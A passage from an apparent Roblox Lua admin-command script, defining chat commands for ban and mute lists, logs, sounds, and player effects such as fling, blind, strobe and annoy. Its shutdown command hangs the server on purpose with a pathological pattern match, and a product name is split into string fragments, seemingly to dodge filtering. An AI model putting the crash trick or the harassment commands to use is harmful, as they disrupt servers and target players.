6403 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6404 else
6405 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6406 end
6407 end
6408 end
6409 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6410 end};
6411
6412 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6413 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6414 end};
6415
6416 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6417 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6418 end};
6419
6420 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6421 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6422 end};
6423
6424 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6425 local TableStorage = {}
6426 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6427 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6428 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6429 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6430 end};
6431
6432 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6433 local TableStorage = {}
6434 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6435 for Num,PlayerName in pairs(PlayerNames) do
6436 if PlayerRank == "Owner" then
6437 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6438 else
6439 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6440 end
6441 end
6442 end
6443 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6444 end};
6445
6446 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6447 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6448 end};
6449
6450 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6451 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6452 end};
6453
6454 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6455 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6456 end};
6457
6458 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6459 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6460 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6461 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6462 end};
6463
6464 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6465 CommandLogs = {}
6466 end};
6467
6468 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6469 ChatLogs = {}
6470 end};
6471
6472 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6473 IRC.Logs = {}
6474 end};
6475
6476 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6477 CommandLogs = {}
6478 ChatLogs = {}
6479 IRC.Logs = {}
6480 end};
6481
6482 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6483 Server.GDS:SetAsync("ExploitLog", {})
6484 end};
6485
6486 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6487 local List,Correlate,SoundName = {},{},{}
6488 for Name,Info in pairs(SoundList) do
6489 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6490 table.insert(List, View)
6491 Correlate[View] = Info[1]
6492 end
6493
6494 local CanClick = true
6495 if Rank == "Member" then CanClick = false end
6496 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6497 Clicked.Event:connect(function(ClickName)
6498 local OldSoundId = nil
6499 SOUND:StopGlobalSound()
6500 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6501 SOUND:PlayGlobalSound(Correlate[ClickName])
6502 end
6503 end)
6504 end};
6505
6506 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6507 SOUND:SyncSoundList(Speaker)
6508 end};
6509
6510 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6511 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6512 if Answer == "Yes" then
6513 Server.Workspace.Terrain:Clear()
6514 end
6515 end};
6516
6517 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6518 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6519 if Answer == "Yes" then
6520 for _,Obj in pairs(Workspace:GetChildren()) do
6521 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6522 Obj:Destroy()
6523 end
6524 end
6525 end
6526 end};
6527
6528 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6529 CORE:MakeBase()
6530 end};
6531
6532 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6533 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6534 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6535 CustomSounds = {}
6536 end
6537 if tostring(Arguments[1]) then
6538 local Request = MARKET:GetItemInfo(Arguments[1])
6539 if Request.AssetTypeId == 3 then
6540 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6541 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6542 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6543 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6544 else
6545 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6546 end
6547 end
6548 end};
6549
6550 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6551 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6552 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6553 CustomSounds = {}
6554 end
6555
6556 local Removed = {}
6557 for Num,Data in pairs(CustomSounds) do
6558 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6559 table.insert(Removed, Data[1])
6560 table.remove(CustomSounds, Num)
6561 end
6562 end
6563
6564 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6565
6566 SOUND:SyncSoundList()
6567
6568 if #Removed > 0 then
6569 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6570 else
6571 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6572 end
6573 end};
6574
6575 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6576 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6577 if Answer == "Yes" then
6578 Server.GDS:SetAsync("MML Custom Sounds", {})
6579 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6580 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6581 end
6582 end};
6583
6584 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6585 local Players = STRING:Scan(Arguments[1], Speaker)
6586 local SpeakerTesting = false
6587 for _,Player in pairs(Players) do
6588 if Player == Speaker then SpeakerTesting = true end
6589 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6590 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6591 --wait(10)
6592 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6593 end)() end
6594 end
6595 if SpeakerTesting == false then
6596 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6597 end
6598 end};
6599
6600 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6601 local Players = STRING:Scan(Arguments[1], Speaker)
6602 local Compile = {}
6603 for _,Player in pairs(Players) do
6604 local PlayerInfo = ClientInfo[Player.Name]
6605 if PlayerInfo then
6606 if PlayerInfo.Benchmark then
6607 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6608 else
6609 table.insert(Compile, Player.Name..": No score")
6610 end
6611 end
6612 end
6613 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6614 end};
6615
6616 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6617 local Players = STRING:Scan(Arguments[1], Speaker)
6618 for _,Player in pairs(Players) do
6619 CORE:Chatted(Arguments[2], Player, true)
6620 end
6621 end};
6622
6623 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6624 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6625 end};
6626
6627 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6628 local Players = STRING:Scan(Arguments[1], Speaker)
6629 for _,Player in pairs(Players) do
6630 if Player.Character ~= nil then
6631 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6632 if Player.Character.Torso:FindFirstChild("Neck") then
6633 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6634 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6635 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6636 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6637 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6638 end
6639 end
6640 end
6641 end
6642 end};
6643
6644 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6645 local Players = STRING:Scan(Arguments[1], Speaker)
6646 for _,Player in pairs(Players) do
6647 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6648 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6649 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6650 end
6651 end
6652 end};
6653
6654 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6655 local Players = STRING:Scan(Arguments[1], Speaker)
6656 for _,Player in pairs(Players) do
6657 local _,RankNum = RANK:GetRank(Player)
6658 if RankNum <= RANK:ConvertRank(Rank) then
6659 CORE:FlingPlayer(Player)
6660 end
6661 end
6662 end};
6663
6664 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6665 local Players = STRING:Scan(Arguments[1], Speaker)
6666 for _,Player in pairs(Players) do
6667 local _,RankNum = RANK:GetRank(Player)
6668 if RankNum <= RANK:ConvertRank(Rank) then
6669 Flings[Player.Name] = true
6670 CORE:FlingPlayer(Player)
6671 end
6672 end
6673 end};
6674
6675 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6676 local Players = STRING:Scan(Arguments[1], Speaker)
6677 for _,Player in pairs(Players) do
6678 local _,RankNum = RANK:GetRank(Player)
6679 if RankNum <= RANK:ConvertRank(Rank) then
6680 Flings[Player.Name] = nil
6681 end
6682 end
6683 end};
6684
6685 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6686 local Players = STRING:Scan(Arguments[1], Speaker)
6687 for _,Player in pairs(Players) do
6688 CORE:Nuke(Player)
6689 end
6690 end};
6691
6692 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6693 local Players = STRING:Scan(Arguments[1], Speaker)
6694 for _,Player in pairs(Players) do
6695 Beeps[Player.Name] = true
6696 SOUND:BeepPlayer(Player)
6697 end
6698 end};
6699
6700 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6701 local Players = STRING:Scan(Arguments[1], Speaker)
6702 for _,Player in pairs(Players) do
6703 if Player.PlayerGui then
6704 Beeps[Player.Name] = nil
6705 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6706 if Obj.Name == "Annoy" then
6707 Obj:Stop()
6708 Obj:Destroy()
6709 end
6710 end
6711 end
6712 end
6713 end};
6714
6715 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6716 local Time = Arguments[1]
6717 if Time == "day" or Time == "noon" then Time = "12" end
6718 if Time == "night" or Time == "midnight" then Time = "0" end
6719 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6720 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6721 if Time == "afternoon" then Time = "15:30" end
6722 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6723 end};
6724
6725 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6726 local Players = STRING:Scan(Arguments[1], Speaker)
6727 for _,Player in pairs(Players) do
6728 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6729 end
6730 end};
6731
6732 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6733 local AbuseMode = false
6734 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6735 local Players = STRING:Scan(Arguments[1], Speaker)
6736 for _,Player in pairs(Players) do
6737 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6738 end
6739 end};
6740
6741 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6742 local Players = STRING:Scan(Arguments[1], Speaker)
6743 for _,Player in pairs(Players) do
6744 CORE:Insert(125013769, Player.Backpack, true)
6745 end
6746 end};
6747
6748 [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6749 local Players = STRING:Scan(Arguments[1], Speaker)
6750 for _,Player in pairs(Players) do
6751 if Player.Character then
6752 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6753 end
6754 end
6755 end};
6756
6757 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6758 CORE:ResetLighting()
6759 repeat
6760 Server.Lighting.Ambient = Color3.new(1,1,1)
6761 Server.Lighting.FogColor = Color3.new(1,1,1)
6762 Server.Lighting.Brightness = 1
6763 Server.Lighting.TimeOfDay = 14
6764 wait(0.1)
6765 Server.Lighting.Ambient = Color3.new(0,0,0)
6766 Server.Lighting.FogColor = Color3.new(0,0,0)
6767 Server.Lighting.Brightness = 0
6768 Server.Lighting.TimeOfDay = 0
6769 wait(0.1)
6770 until ModLighting == false
6771 end};
6772
6773 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6774 CORE:ResetLighting()
6775 repeat
6776 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6777 Server.Lighting.Ambient = Color
6778 Server.Lighting.FogColor = Color
6779 Server.Lighting.TimeOfDay = 0
6780 Server.Lighting.FogEnd = 500
6781 wait(0.1)
6782 until ModLighting == false
6783 end};
6784
6785 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6786 CORE:FixLighting()
6787 end};
6788
6789 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6790 local Players = STRING:Scan(Arguments[1], Speaker)
6791 for _,Player in pairs(Players) do
6792 if Player:FindFirstChild("PlayerGui") then
6793 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6794 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6795 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6796 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6797 end
6798 end
6799 end};
6800
6801 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6802 local Players = STRING:Scan(Arguments[1], Speaker)
6803 for _,Player in pairs(Players) do
6804 if Player:FindFirstChild("PlayerGui") then
6805 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6806 end
6807 end
6808 end};
6809
6810 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6811 local Players = STRING:Scan(Arguments[1], Speaker)
6812 for _,Player in pairs(Players) do
6813 if Player:FindFirstChild("PlayerGui") then
6814 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6815 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6816 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6817 end
6818 end
6819 end};
6820
6821 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6822 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6823 if Suc then
6824 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6825 else
6826 Server.TS:Teleport(game.PlaceId, Speaker)
6827 end
6828 end};
6829
6830 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6831 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6832 end};
6833
6834 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6835 local NewAbuse = Arguments[1]
6836 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6837 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6838 end
6839
6840 local Match = false
6841 for _,AbuseCmd in pairs(Settings.AbuseList) do
6842 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6843 Match = true
6844 break
6845 end
6846 end
6847 if not Match then
6848 table.insert(Settings.AbuseList, NewAbuse)
6849 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6850 else
6851 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6852 end
6853 CORE:SetAbuseCommands()
6854 end};
6855
6856 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6857 local NewAbuse = Arguments[1]
6858 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6859 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6860 end
6861
6862 local Removed = false
6863 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6864 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6865 Removed = true
6866 table.remove(Settings.AbuseList, Num)
6867 end
6868 end
6869 if Removed then
6870 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6871 else
6872 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6873 end
6874 CORE:SetAbuseCommands()
6875 end};
6876
6877 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6878 local Players = STRING:Scan(Arguments[1], Speaker)
6879 for _,Player in pairs(Players) do
6880 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6881 Player.Character.Humanoid.MaxHealth = math.huge
6882 Player.Character.Humanoid.Health = math.huge
6883 end
6884 end
6885 end};
6886
6887 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6888 local Players = STRING:Scan(Arguments[1], Speaker)
6889 for _,Player in pairs(Players) do
6890 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6891 if Player.Character.Humanoid.MaxHealth == math.huge then
6892 Player.Character.Humanoid.MaxHealth = 100
6893 Player.Character.Humanoid.Health = 100
6894 else
6895 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6896 end
6897 end
6898 end
6899 end};
6900
6901 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6902 local Players = STRING:Scan(Arguments[1], Speaker)
6903 for _,Player in pairs(Players) do
6904 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6905 local Char = Player.Character
6906 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6907 end
6908 end
6909 end};
6910
6911 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6912 if tonumber(Arguments[2]) then
6913 local Players = STRING:Scan(Arguments[1], Speaker)
6914 for _,Player in pairs(Players) do
6915 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6916 Player.Character.Humanoid.Health = Arguments[2]
6917 end
6918 end
6919 end
6920 end};
6921
6922 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6923 if tonumber(Arguments[2]) then
6924 local Players = STRING:Scan(Arguments[1], Speaker)
6925 for _,Player in pairs(Players) do
6926 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6927 local Speed = tonumber(Arguments[2])
6928 if Speed then
6929 if Rank == "Member" then
6930 if Speed > 1000 then Speed = 1000
6931 elseif Speed < -1000 then Speed = -1000 end
6932 end
6933 Player.Character.Humanoid.WalkSpeed = Speed
6934 end
6935 end
6936 end
6937 end
6938 end};
6939
6940 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6941 if tonumber(Arguments[2]) then
6942 local Players = STRING:Scan(Arguments[1], Speaker)
6943 for _,Player in pairs(Players) do
6944 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6945 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6946 end
6947 end
6948 end
6949 end};
6950
6951 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6952 local Players = STRING:Scan(Arguments[1], Speaker)
6953 for _,Player in pairs(Players) do
6954 CORE:Fly(Player, 10000)
6955 end
6956 end};
6957
6958 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6959 local Players = STRING:Scan(Arguments[1], Speaker)
6960 for _,Player in pairs(Players) do
6961 CORE:Fly(Player, 1000000)
6962 end
6963 end};
6964
6965 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6966 local Players = STRING:Scan(Arguments[1], Speaker)
6967 for _,Player in pairs(Players) do
6968 if Player.Character then
6969 if Player.Character:FindFirstChild("StopMMLFly") then
6970 Player.Character.StopMMLFly:InvokeClient(Player)
6971 end
6972 end
6973 end
6974 end};
6975
6976 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6977 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
6978 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6979 end};
6980
6981 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6982 local Players = STRING:Scan(Arguments[1], Speaker)
6983 for _,Player in pairs(Players) do
6984 CORE:GiveTools(Player, Arguments[2])
6985 end
6986 end};
6987
6988 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6989 local List = {}
6990 for _,Region in pairs(ToolRegions) do
6991 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6992 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6993 end)
6994 end
6995
6996 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6997 end};
6998
6999 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
7000 local Players = STRING:Scan(Arguments[1], Speaker)
7001 for _,Player in pairs(Players) do
7002 CORE:GiveTools(Player, "btools")
7003 end
7004 end};
7005
7006 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
7007 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
7008 for _,Player in pairs(Server.Players:GetPlayers()) do
7009 Player:Kick()
7010 end
7011 Server.Workspace:ClearAllChildren()
7012 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
7013 end};
7014
7015 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
7016 local Players = STRING:Scan(Arguments[1], Speaker)
7017 for _,Player in pairs(Players) do
7018 CORE:Scale(Player, Arguments[2])
7019 end
7020 end};
7021
7022 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
7023 local Players = STRING:Scan(Arguments[1], Speaker)
7024 for _,Player in pairs(Players) do
7025 CORE:Scale(Player, 50)
7026 end
7027 end};
7028
7029 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
7030 local Players = STRING:Scan(Arguments[1], Speaker)
